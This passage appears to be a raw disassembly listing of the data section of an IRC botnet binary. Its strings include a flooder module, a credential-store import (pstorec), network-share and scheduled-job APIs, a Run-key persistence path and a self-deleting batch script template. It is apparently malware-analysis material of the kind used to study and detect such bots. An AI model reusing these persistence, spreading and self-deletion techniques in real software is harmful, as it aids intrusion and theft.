... align 4 aQuitExitting db 'QUIT :exitting',0 ; DATA XREF: sub_40332B+200o ; sub_40A9CF:loc_40BD52o align 4 dword_41864C dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_40332B+19Co aModuleSReporte db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC' db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA' db 'GS=%08X. Code: %08X (%s). %s...',0 align 4 aContinuing db 'Continuing',0 ; DATA XREF: sub_40332B:loc_40342Ao align 4 aRestarting db 'Restarting',0 ; DATA XREF: sub_40332B+F3o align 4 aException_flt db 'EXCEPTION_FLT',0 ; DATA XREF: sub_40332B:loc_40340Co align 4 aException_stac db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40332B:loc_403403o align 10h aException_nonc db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0 ; DATA XREF: sub_40332B:loc_4033FAo align 4 aException_int_ db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40332B:loc_4033F1o align 4 aException_ille db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40332B:loc_4033E8o align 4 aException_brea db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40332B:loc_4033DFo align 4 aException_acce db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40332B:loc_4033D6o align 4 aException_othe db 'EXCEPTION_OTHER',0 ; DATA XREF: sub_40332B+27o aUdp db 'udp',0 ; DATA XREF: sub_4038BA+27Co aInternetgetcon db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_403BD3+20Bo align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_403BD3:loc_403DCAo aPstorecreatein db 'PStoreCreateInstance',0 ; DATA XREF: sub_403BD3+1E4o align 10h aPstorec_dll db 'pstorec.dll',0 ; DATA XREF: sub_403BD3:loc_403DA3o aFreeaddrinfo db 'freeaddrinfo',0 ; DATA XREF: sub_403BD3+184o align 4 aGetnameinfo db 'getnameinfo',0 ; DATA XREF: sub_403BD3+171o aGetaddrinfo db 'getaddrinfo',0 ; DATA XREF: sub_403BD3+15Eo aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_403BD3:loc_403D23o align 10h aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_403BD3+13Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_403BD3+12Ao align 10h aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_403BD3+117o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_403BD3+104o aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_403BD3:loc_403CC3o aNetaddalternat db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_403BD3+DDo aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_403BD3+CAo align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_403BD3+B7o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_403BD3+A4o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_403BD3+91o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_403BD3+7Eo aNetusedel db 'NetUseDel',0 ; DATA XREF: sub_403BD3+6Bo align 4 aNetuseadd db 'NetUseAdd',0 ; DATA XREF: sub_403BD3+58o align 4 aNetusegetinfo db 'NetUseGetInfo',0 ; DATA XREF: sub_403BD3+45o align 4 aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_403BD3:loc_403C00o align 4 aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_403BD3+1Ao align 10h aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_403BD3+6o align 10h aUseridUnix db ' : USERID : UNIX : ',0 ; DATA XREF: sub_403DF3:loc_403F57o dword_4189C4 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 6920676Eh ; DATA XREF: sub_403DF3+6Eo dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h dd 34300320h, 3732502h, 2 dword_4189F8 dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h ; DATA XREF: sub_403FE5+7Eo dd 30032074h, 73250234h, 203h dword_418A18 dd 333131h ; DATA XREF: sub_403FE5:loc_403FFDo dword_418A1C dd 0BF988BA8h, 0CCFDEEB5h, 0AB86A2B0h, 0B9h, 0 ; DATA XREF: sub_4043E9+6o dword_418A30 dd 2E3031h ; DATA XREF: sub_4041B7+56o dword_418A34 dd 2E323931h, 2E383631h, 0 ; DATA XREF: sub_4041B7+3Bo dword_418A40 dd 2E323731h, 0 ; DATA XREF: sub_4041B7+20o dword_418A48 dd 2E373231h, 0 ; DATA XREF: sub_4041B7+5o dword_418A50 dd 252E7525h, 75252E75h, 75252Eh ; DATA XREF: sub_40D871+1CCo ; sub_41113B+45Ao dword_418A5C dd 313A3Ah ; DATA XREF: sub_40435B+42o dword_418A60 dd 7525h ; DATA XREF: sub_4055E5+458o ; sub_4055E5+69Eo ... dword_418A64 dd 252E7525h, 75252E75h, 3A75252Eh, 7525h ; DATA XREF: sub_4055E5+31Eo ; sub_4055E5+40Bo ... aU_U_U_UU db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+2A3o ; sub_4055E5+3AFo ... align 4 aU db '%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+229o ; sub_4055E5+351o ... align 10h aLgFlooder db 'LG flooder',0 ; DATA XREF: sub_405E45+109o align 4 aGetmoduleinfor db 'GetModuleInformation',0 ; DATA XREF: sub_405FA3+5Eo align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_405FA3+4Bo align 4 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_405FA3+38o align 10h aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_405FA3:loc_405FC8o align 10h aPsapi_dll db 'psapi.dll',0 ; DATA XREF: sub_405FA3+Fo align 4 aSystem db 'system',0 ; DATA XREF: sub_406041+136o ; MEW:0041BBD0o ... align 4 dword_418B04 dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h ; DATA XREF: sub_40637C+FEo dd 732520h dword_418B1C dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 320676Eh ; DATA XREF: sub_40637C+51o dd 25023430h, 2032569h, 6F727020h, 73736563h, 3A7365h dword_418B44 dd 7473694Ch, 6F727020h, 73736563h, 7365h ; DATA XREF: sub_4064BF+31o dword_418B54 dd 58323025h, 0 ; DATA XREF: sub_406722+266o ; sub_4147E5+11o ... dword_418B5C dd 58383025h, 0 ; DATA XREF: sub_406722+201o ; sub_40A9CF+1C12o dword_418B64 dd 7325h ; DATA XREF: sub_406722+1E3o ; sub_406722+296o ... aHkus db 'HKUS',0 ; DATA XREF: sub_406722+8Do align 10h aHklm db 'HKLM',0 ; DATA XREF: sub_406722+6Bo align 4 aHkcu db 'HKCU',0 ; DATA XREF: sub_406722+49o align 10h aHkcr db 'HKCR',0 ; DATA XREF: sub_406722+27o align 4 off_418B88 dd offset dword_418DD0 ; DATA XREF: sub_406E8E+4Br ; sub_406E8E+8Dr ... off_418B8C dd offset dword_418DA8 ; DATA XREF: sub_406E8E+106r ; sub_406E8E+12Ar ... dd offset dword_418D98 dd offset dword_418DA8 dd offset loc_418D88 dd offset dword_418D64 dd offset dword_418D54 dd offset dword_418D34 dd offset loc_418D20 dd offset dword_418D34 dd offset dword_418D0C dd offset dword_418CF4 dd offset dword_418CE4 dd offset dword_418CD0 dd offset dword_418CBC dd offset dword_418C9C dd offset dword_418C88 dd offset dword_418C6C dd offset dword_418C5C dd offset dword_418C6C dd offset loc_418C4C dd offset dword_418C24 dd offset dword_418C10 dd offset dword_418BF0 align 10h dword_418BF0 dd 0E38C9592h, 0C4FDFFECh, 0A0A1ACA1h, 0EEB2FCB9h, 0D4CF88BAh ; DATA XREF: MEW:00418BE4o dd 0CDFEFCFBh, 9AE9A7h, 0 dword_418C10 dd 0E19799B6h, 0C7E0E3EFh, 0AB90E9FBh, 2 dup(0) ; DATA XREF: MEW:00418BE0o dword_418C24 dd 0FD9F8C9Eh, 0D6F3EFEAh, 0EE86E3BCh, 0E5B9F881h, 0F0A8DCADh ; DATA XREF: MEW:00418BDCo dd 0C3E5E9F7h, 0ABBBACACh, 0E3A9EFBFh, 0BAh, 0 ; --------------------------------------------------------------------------- loc_418C4C: ; DATA XREF: MEW:00418BD8o mov esi, 0ADE28890h jmp loc_425440 ; --------------------------------------------------------------------------- align 4 dd 0 dword_418C5C dd 0FE808CACh, 8CE4FFCAh, 8DF4B0h, 0 ; DATA XREF: MEW:00418BD0o dword_418C6C dd 0FE808C8Ch, 82E0E9EFh, 9D8AF986h, 0E5B4EAB4h, 0E1AEDCB2h ; DATA XREF: MEW:00418BCCo ; MEW:00418BD4o dd 0F3h, 0 dword_418C88 dd 0FE808CACh, 0C1E4FFEFh, 0AB90E9FBh, 2 dup(0) ; DATA XREF: MEW:00418BC8o dword_418C9C dd 0F5819588h, 82E1FBECh, 0B99CE99Bh, 0A0ABEBA2h, 0F49D9599h ; DATA XREF: MEW:00418BC4o dd 0CEFEEDF4h, 2 dup(0) dword_418CBC dd 0F49D95B9h, 0CEFEEDF4h, 0AB90E9FBh, 2 dup(0) ; DATA XREF: MEW:00418BC0o dword_418CD0 dd 0F0819588h, 0E3B2FCEEh, 0BA86E9B2h, 2 dup(0) ; DATA XREF: MEW:00418BBCo dword_418CE4 dd 0F08195A8h, 0C7BCFCEEh, 0E9ADh, 0 ; DATA XREF: MEW:00418BB8o dword_418CF4 dd 0F5819588h, 82E1FBECh, 0A298F490h, 0F2A5EBA2h, 2 dup(0) ; DATA XREF: MEW:00418BB4o dword_418D0C dd 0FD9F84BAh, 0D0F7FEECh, 0AB90E9FBh, 2 dup(0) ; DATA XREF: MEW:00418BB0o ; --------------------------------------------------------------------------- loc_418D20: ; DATA XREF: MEW:00418BA8o test al, 95h sbb eax, 0CCFDEBECh sti jmp loc_4238BE ; --------------------------------------------------------------------------- align 10h dd 0 dword_418D34 dd 0F5819588h, 82E1FBECh, 0A18FE399h, 0F081B9A3h, 0F28690AFh ; DATA XREF: MEW:00418BA4o ; MEW:00418BACo dd 0CDFBF8E2h, 0BBh, 0 dword_418D54 dd 0FE8893B3h, 0DAF7A2EDh, 0B0h, 0 ; DATA XREF: MEW:00418BA0o dword_418D64 dd 0F486909Ch, 0F1B2F8EDh, 0AB9EFEB0h, 0F592B9BFh, 0FC8688B1h ; DATA XREF: MEW:00418B9Co dd 0D0C2ACE6h, 0BD8DEFBAh, 0BEh, 0 ; --------------------------------------------------------------------------- loc_418D88: ; DATA XREF: MEW:00418B98o mov esp, 0ADE29D8Fh jmp loc_42557C ; --------------------------------------------------------------------------- align 8 dword_418D98 dd 0E28E8F96h, 0DAF7A2F0h, 0B0h, 0 ; DATA XREF: MEW:00418B90o dword_418DA8 dd 0F08C9393h, 0C7C1ACEFh, 0A79AF9B6h, 0C1E0E0B9h, 0FE8788AAh ; DATA XREF: MEW:off_418B8Co ; MEW:00418B94o dd 0DBE6E5F1h, 0BC8DDFF5h, 0E5A3F0BBh, 2 dup(0) dword_418DD0 dd 0F09C8FB3h, 0DAF7A2F0h, 0B0h, 0 ; DATA XREF: MEW:off_418B88o dword_418DE0 dd 293Ah ; DATA XREF: sub_406A23+9Co dword_418DE4 dd 5Ch ; DATA XREF: sub_406A23+1Bo ; sub_406AE7+1Bo ... dword_418DE8 dd 7078655Ch, 65726F6Ch, 78652E72h, 65h ; DATA XREF: sub_406B81+1Bo aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_406C51+1Co align 4 a@echoOffDelete db '@echo off',0Dh,0Ah ; DATA XREF: sub_406D90+A8o db ':deleteagain',0Dh,0Ah db 'del /A:H /F %s',0Dh,0Ah db 'del /F %s',0Dh,0Ah db 'if exist %s goto deleteagain',0Dh,0Ah db 'del %s',0Dh,0Ah,0 align 4 a_bat db '.bat',0 ; DATA XREF: sub_406D90+39o align 4 aWindowsDllLoad db 'Windows DLL Loader',0 ; DATA XREF: sub_406E8E+20Do ; sub_407148+19Do align 10h aQuitSUninstall db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_407148+177o ; sub_407148+1C9o align 4 dword_418EB8 dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h ; DATA XREF: sub_40732D+115o dd 2037325h, 206F7420h, 6B636F73h, 34300373h, 3752502h dd 65732002h, 72657672h, 7325h dword_418EEC dd 6A657220h, 65746365h, 64h ; DATA XREF: sub_40732D:loc_407423o dword_418EF8 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: sub_40764D+6Ao dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh dd 2343003h, 2037325h, 0 dword_418F2C dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h ; DATA XREF: sub_4077DD+9Co dd 34300320h, 3732502h, 2 dword_418F4C dd 20h ; DATA XREF: sub_407928+4Co ; sub_407928+96o ... dword_418F50 dd 30h ; DATA XREF: sub_407E0C+CBo ; sub_40CA29+13Do ... dword_418F54 dd 252E7325h, 73252E73h, 73252Eh ; DATA XREF: sub_407F3D+118o ; sub_40806A+BDo dword_418F60 dd 0BF818FB2h, 0FFE3E0h, 0 ; DATA XREF: sub_408887+6o dword_418F6C dd 0BF988BA8h, 0D0E0E9F7h, 0A18BA2B4h, 0F2A2B7A0h, 2 dup(0) ; DATA XREF: sub_408887+14o dword_418F84 dd 0BF818FB2h, 0E9E7h, 0 ; DATA XREF: sub_408887+22o dword_418F90 dd 0FC9A9DBBh, 0D6F7E2ADh, 2 dup(0) ; DATA XREF: sub_408887+30o dword_418FA0 dd 0F68093B8h, 0C3BCE9EFh, 0B0h, 0 ; DATA XREF: sub_408887+3Eo dword_418FB0 dd 0F48195B1h, 8CFCFFEEh, 0E085E3B6h, 0ECACh, 0 ; DATA XREF: sub_408887+4Co off_418FC4 dd offset dword_4190E8 ; DATA XREF: sub_4088FC+19r ; sub_4088FC+60r off_418FC8 dd offset dword_4190B4 ; DATA XREF: sub_4088FC+8Ar dd offset dword_419098 dd offset dword_419054 dd offset dword_41903C dd offset dword_418FE4 dd 2 dup(0) dword_418FE4 dd 0FF9893BBh, 0C6F3E3EFh, 0A389EBFBh, 0F9EEEAA8h, 0FE8094BEh ; DATA XREF: MEW:00418FD8o dd 0CFFDEFADh, 0A389EBFAh, 0E4EFEAA8h, 0FD818BB0h, 8DF6EDECh dd 0A08FE5A6h, 0F0EFFDA8h, 0F08C8CB0h, 0C3EBA3F3h, 9187E3BDh dd 0E5AAFCAFh, 0F48399A8h, 0D6CDBEE7h, 0FFC5BDB8h, 0E5B8FCE3h dd 2 dup(0) dword_41903C dd 0F6C18FAAh, 0D1F7E1E2h, 0A791A2E4h, 0E3EEFEA0h, 91B0h ; DATA XREF: MEW:00418FD4o dd 0 dword_419054 dd 0FF9893BBh, 0C6F3E3EFh, 0FFC7BFFAh, 0B3EFFFE2h, 0A0DB9AEEh ; DATA XREF: MEW:00418FD0o dd 8FA5BEB7h, 0ABDCBCEDh, 0E6F8ADE0h, 0F2D7D1E6h, 97BFB4B2h dd 0F78CBDB4h, 0B8F5FBFEh, 0BE8ACFEAh, 0D1F3FFEEh, 0E08BE2ACh dd 0A5E1A8h, 0 dword_419098 dd 0FF9893BBh, 0C6F3E3EFh, 0AD81E1FBh, 0EFB3F6BFh, 0F2C188B9h ; DATA XREF: MEW:00418FCCo dd 0E1ECh, 0 dword_4190B4 dd 0F09B9DBBh, 8DFCE9ACh, 0E18FE5B7h, 0F2B2ECAEh, 0BE9B92BAh ; DATA XREF: MEW:off_418FC8o dd 0C5FDE3C4h, 0A1BCE9B9h, 0E1A2F5A2h, 0E281B5ADh, 0CEFEEDF7h dd 0ABC6FEB0h, 0FCB5h, 0 dword_4190E8 dd 0FD8093ABh, 8CE0EDE1h, 0A987E3B2h, 0E3EEFCA1h, 91B0h ; DATA XREF: MEW:off_418FC4o dd 0 off_419100 dd offset loc_415353+2 ; DATA XREF: sub_408342+2Co dword_419104 dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh ; DATA XREF: sub_4083AD+3CEo dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah dd 34300320h, 3642502h, 7A484D02h, 6152202Eh, 3203A6Dh dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh dword_4191F4 dd 73h ; DATA XREF: sub_4083AD:loc_4086C8o ; sub_4083AD:loc_4086E7o ... aProcessornames db 'ProcessorNameString',0 ; DATA XREF: sub_4083AD+2D2o aHardwareDescri db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0 ; DATA XREF: sub_4083AD+296o align 4 aNo db 'No',0 ; DATA XREF: sub_4083AD:loc_4085EBo ; sub_408B30:loc_408CB4o ... align 10h aYes db 'Yes',0 ; DATA XREF: sub_4083AD+232o ; sub_408B30+178o ... a2003 db '2003',0 ; DATA XREF: sub_4083AD+1FFo align 4 aXp db 'XP',0 ; DATA XREF: sub_4083AD+1E1o align 10h a2000 db '2000',0 ; DATA XREF: sub_4083AD+1C3o align 4 aMe db 'ME',0 ; DATA XREF: sub_4083AD+1A5o align 4 a98 db '98',0 ; DATA XREF: sub_4083AD+187o align 10h aNt db 'NT',0 ; DATA XREF: sub_4083AD+166o align 4 a95 db '95',0 ; DATA XREF: sub_4083AD+153o align 4 aNoSp db 'no SP',0 ; DATA XREF: sub_4083AD+12Eo align 10h a?: ; DATA XREF: sub_4083AD+124o unicode 0, <?>,0 aSysinfoThread db 'Sysinfo thread',0 ; DATA XREF: sub_4087C4+2Bo align 4 dword_419284 dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h ; DATA XREF: sub_408B30+2D4o dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh dd 203A656Dh, 2343003h, 2037325h, 7954202Eh, 203A6570h dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h dd 2037325h, 6946202Eh, 61776572h, 64656C6Ch, 3003203Ah dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h dd 3732502h, 25202C02h, 53202E75h, 64656570h, 3003203Ah dd 30250234h, 366322Eh, 424B2B02h, 6365732Fh, 5249202Eh dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h dd 20732579h, 2343003h, 2036425h, 72756F68h, 3207325h dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0 aGood db 'Good',0 ; DATA XREF: sub_408B30+1F9o align 4 aAvarage db 'Avarage',0 ; DATA XREF: sub_408B30+1E3o aBad db 'Bad',0 ; DATA XREF: sub_408B30+1CDo aLan db 'LAN',0 ; DATA XREF: sub_408B30:loc_408C8Fo aModem db 'Modem',0 ; DATA XREF: sub_408B30+14Do align 10h aUnknown_0 db 'Unknown',0 ; DATA XREF: sub_408B30+F5o ; sub_408B30+108o aNetinfoThread db 'Netinfo thread',0 ; DATA XREF: sub_408E4A+2Bo align 4 dword_419398 dd 5C3A41h ; DATA XREF: sub_408E8E+6r ; sub_408F2E+4Er ... dword_41939C dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h ; DATA XREF: sub_408F2E+270o dd 2037525h, 6F54202Ch, 206C6174h, 63617073h, 3203A65h dd 25023430h, 4D020375h, 72662042h, 2E6565h dword_4193D4 dd 30037325h, 73250234h, 73250203h, 0 ; DATA XREF: sub_408F2E+1EDo dword_4193E4 dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h ; DATA XREF: sub_408F2E+1C5o dd 20424D02h, 65657266h, 0 dword_419404 dd 202Eh ; DATA XREF: sub_408F2E+17Co ; sub_408F2E+24Ao aUnknown db 'unknown',0 ; DATA XREF: sub_408F2E:loc_40902Do ; sub_4129CA+34o aRamdisk db 'ramdisk',0 ; DATA XREF: sub_408F2E+F6o aCdRom db 'cd-rom',0 ; DATA XREF: sub_408F2E+E4o align 10h aRemote db 'remote',0 ; DATA XREF: sub_408F2E+D2o align 4 aFixed db 'fixed',0 ; DATA XREF: sub_408F2E+C0o align 10h aRemovable db 'removable',0 ; DATA XREF: sub_408F2E+AEo align 4 aDriveInformati db 'Drive information - ',0 ; DATA XREF: sub_408F2E+2Eo align 4 aDriveinfoThrea db 'Driveinfo thread',0 ; DATA XREF: sub_4091E2+2Bo align 4 aThread db 'thread',0 ; DATA XREF: sub_4093B6+98o ; sub_4094E6+93o align 10h aBtg db 'btg',0 ; DATA XREF: sub_4093B6+93o dword_419474 dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_4093B6+67o aBtgTriedExecut db '- btg tried executing an unreadable address. (%08X)',0 aS db '*%s*',0 ; DATA XREF: sub_4097A7+81o ; sub_4098F3+C4o align 4 dword_4194BC dd 2343003h, 2036925h, 7325202Eh, 0 ; DATA XREF: sub_409AD5+DAo dword_4194CC dd 3430032Dh, 2037802h ; DATA XREF: sub_409AD5:loc_409B25o aNoThreadsRunni db '- No threads running.',0 align 4 dword_4194EC dd 3430032Dh, 2037802h, 694C202Dh, 6E697473h, 30032067h ; DATA XREF: sub_409AD5+3Ao dd 69250234h, 32F0203h, 25023430h, 20020369h, 65726874h dd 3A736461h, 0 aCouldNotGetAVa db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_409CB1+15o align 10h dword_419540 dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h ; DATA XREF: sub_409DD0+3A3o dd 30033A72h, 64250234h, 203h dword_419568 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: sub_409DD0+37Fo dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h dd 203h dword_419594 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: sub_409DD0+32Fo dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h dd 2E64252Eh, 296425h aCouldNotResolv db 'Could not resolve name',0 ; DATA XREF: sub_409DD0:loc_409F06o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409DD0+80o aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409DD0+6Ao align 4 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409DD0:loc_409E24o align 4 aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_409DD0+34o align 4 unk_419618 db 55h ; U ; DATA XREF: sub_40A1A7+Co db 73h, 61h, 67h db 65h ; e db 3Ah, 20h, 3 db 30h ; 0 db 34h, 2, 74h db 72h ; r db 61h, 63h, 65h db 3 db 2, 20h, 3Ch db 3 db 30h, 34h, 2 db 68h ; h db 6Fh, 73h, 74h db 3 db 2, 3Eh, 20h aHopcountTimeou db '[<hopcount> <timeout> <pingcount>]',0 align 4 dword_41965C dd 202h ; DATA XREF: sub_40A2D2+159o dword_419660 dd 0A0D7325h, 0 ; DATA XREF: sub_40A2D2+6Eo dword_419668 dd 3334h ; DATA XREF: sub_40A2D2+41o dword_41966C dd 3430032Dh, 3752502h, 51202D02h, 79726575h, 20676E69h ; DATA XREF: sub_40A2D2+24o dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h dd 3A02h dword_419698 dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h ; DATA XREF: sub_40A4A4+44o dd 2E020373h, 0 dword_4196B4 dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h ; DATA XREF: sub_40A50E+97o dd 30032072h, 73250234h, 203h dword_4196D4 dd 0F88094A8h, 0D0F3A2F0h, 0A0C6E2BCh, 0EDA8h, 0 ; DATA XREF: sub_40A50E:loc_40A562o aAbcdef db 'abcdef',0 ; DATA XREF: sub_40A8AD+1Bo align 10h aUsername db 'username',0 ; DATA XREF: sub_40A9CF:loc_40C8EAo align 4 aId db 'id',0 ; DATA XREF: sub_40A9CF+1EF2o align 10h dword_419700 dd 12EA0h ; DATA XREF: sub_40A9CF+1ECDr align 8 dword_419708 dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h ; DATA XREF: sub_40A9CF+1EB1o dd 3642502h, 79616402h, 3207325h, 25023430h, 68020364h dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h dd 3207325h, 25023430h, 68020364h, 2572756Fh, 30032073h dd 64250234h, 696D0203h, 6574756Eh, 7325h dword_41977C dd 4DC8A28h ; DATA XREF: sub_40A9CF+1C87r dd 2 dup(0) dword_419788 dd 4D38h ; DATA XREF: sub_40A9CF+1C72r align 10h dword_419790 dd 22710E8h ; DATA XREF: sub_40A9CF+1C4Br dd 2 dup(0) a9252 db '9252',0 ; DATA XREF: sub_40A9CF+1BFAo align 4 dword_4197A4 dd 99C3EAA0h ; DATA XREF: sub_40A9CF+1BE9r dd 3 dup(0) dword_4197B4 dd 261D51F8h ; DATA XREF: sub_40A9CF+1BC2r align 10h dword_4197C0 dd 260A0h ; DATA XREF: sub_40A9CF+1BADr align 8 dword_4197C8 dd 1371D1F8h ; DATA XREF: sub_40A9CF+1B86r dd 2 dup(0) dword_4197D4 dd 135E8h ; DATA XREF: sub_40A9CF+1B71r dd 0 dword_4197DC dd 0E7606A0h ; DATA XREF: sub_40A9CF+1B36r dd 2 dup(0) dword_4197E8 dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h ; DATA XREF: sub_40A9CF+1B17o dd 3643330h, 20732502h, 6E69575Bh, 5D3233h dword_41980C dd 18820E30h ; DATA XREF: sub_40A9CF+1AFCr dd 2 dup(0) dword_419818 dd 18788h ; DATA XREF: sub_40A9CF+1AE7r align 10h dword_419820 dd 65657053h, 3203A64h, 25023430h, 4B020375h, 65732F42h ; DATA XREF: sub_40A9CF+1AC8o dd 63h dword_419838 dd 4CBE20h ; DATA XREF: sub_40A9CF+19B1r dd 2 dup(0) dword_419844 dd 2343003h, 2037325h ; DATA XREF: sub_40A9CF+1992o aHasNoIpv4End_ db ' has no ipv4 end.',0 align 10h dword_419860 dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h ; DATA XREF: sub_40A9CF+1976o dd 2037325h, 20736920h, 2343003h, 252E6925h, 69252E69h dd 369252Eh, 2 a2002 db '2002',0 ; DATA XREF: sub_40A9CF+1851o align 4 dword_419898 dd 0E7AAB82Ch ; DATA XREF: sub_40A9CF+180Br dd 3 dup(0) dword_4198A8 dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h ; DATA XREF: sub_40A9CF+17C1o dd 2037325h, 0 dword_4198C4 dd 158F28h ; DATA XREF: sub_40A9CF+1710r align 10h dword_4198D0 dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h ; DATA XREF: sub_40A9CF+16F1o ; sub_40A9CF+17ECo dd 2037325h, 2Eh dword_4198EC dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h ; DATA XREF: sub_40A9CF+16AAo dd 20657079h, 2343003h, 2036425h, 64646120h, 73736572h dd 3003203Ah, 73250234h, 203h dword_419920 dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h ; DATA XREF: sub_40A9CF+1659o dd 3A737365h, 34300320h, 3732502h, 2 dword_419944 dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h ; DATA XREF: sub_40A9CF+1602o dd 3A737365h, 34300320h, 3732502h, 2 dword_419968 dd 3Ch ; DATA XREF: sub_40A9CF:loc_40BFBAo ; sub_40A9CF:loc_40C011o ... dword_41996C dd 0FF28h ; DATA XREF: sub_40A9CF+1534r dd 0 aQuitChangingSe db 'QUIT :changing server',0 ; DATA XREF: sub_40A9CF:loc_40BED3o align 4 dword_41998C dd 5B7606ABh ; DATA XREF: sub_40A9CF+14F5r dd 3 dup(0) dword_41999C dd 26C9788h ; DATA XREF: sub_40A9CF+14E0r dd 2 dup(0) dword_4199A8 dd 48B0h ; DATA XREF: sub_40A9CF+14B2r align 10h dword_4199B0 dd 4CEEE8h ; DATA XREF: sub_40A9CF+1484r dd 2 dup(0) dword_4199BC dd 0ECE0h ; DATA XREF: sub_40A9CF+146Fr dd 0 dword_4199C4 dd 0DC9BA4F1h ; DATA XREF: sub_40A9CF+1450r dd 3 dup(0) dword_4199D4 dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h ; DATA XREF: sub_40A9CF+1431o dd 2343003h, 30257830h, 2035832h, 63656420h, 3003203Ah dd 75250234h, 2E0203h dword_419A04 dd 8A248h ; DATA XREF: sub_40A9CF+1400r align 10h dword_419A10 dd 2D77B5A0h ; DATA XREF: sub_40A9CF+1399r dd 2 dup(0) dword_419A1C dd 10468h ; DATA XREF: sub_40A9CF+1374r dd 0 dword_419A24 dd 12BBA0h ; DATA XREF: 